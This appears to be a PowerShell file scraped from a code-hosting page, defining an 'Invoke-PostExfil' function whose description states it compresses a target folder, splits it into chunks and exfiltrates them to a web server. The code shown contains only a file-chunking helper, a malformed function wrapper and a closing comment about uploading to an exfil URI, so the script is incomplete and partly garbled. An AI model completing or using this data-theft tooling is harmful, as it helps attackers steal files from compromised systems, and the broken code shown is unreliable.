41 lines
746 B
PowerShell
41 lines
746 B
PowerShell
|
|
||
|
Invoke-PostExfil {
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
|
||
|
Compresses a target folder, breaks it into chunks, and exfils
|
||
|
the parts to a web server.
|
||
|
|
||
|
.PARAMETER Folder
|
||
|
|
||
|
Folder of files to exfil.
|
||
|
|
||
|
.PARAMETER Server
|
||
|
|
||
|
Server path to exfil to.
|
||
|
|
||
|
#>
|
||
|
|
||
|
function split($inFile, $outPrefix, [Int32] $bufSize){
|
||
|
|
||
|
$stream = [System.IO.File]::OpenRead($inFile)
|
||
|
$chunkNum = 1
|
||
|
$barr = New-Object byte[] $bufSize
|
||
|
|
||
|
while( $bytesRead = $stream.Read($barr,0,$bufsize)){
|
||
|
$outFile = "$outPrefix$chunkNum"
|
||
|
$ostream = [System.IO.File]::OpenWrite($outFile)
|
||
|
$ostream.Write($barr,0,$bytesRead);
|
||
|
$ostream.close();
|
||
|
echo "wrote $outFile"
|
||
|
$chunkNum += 1
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
# split file into chunks,
|
||
|
# upload to a specified exfil URI
|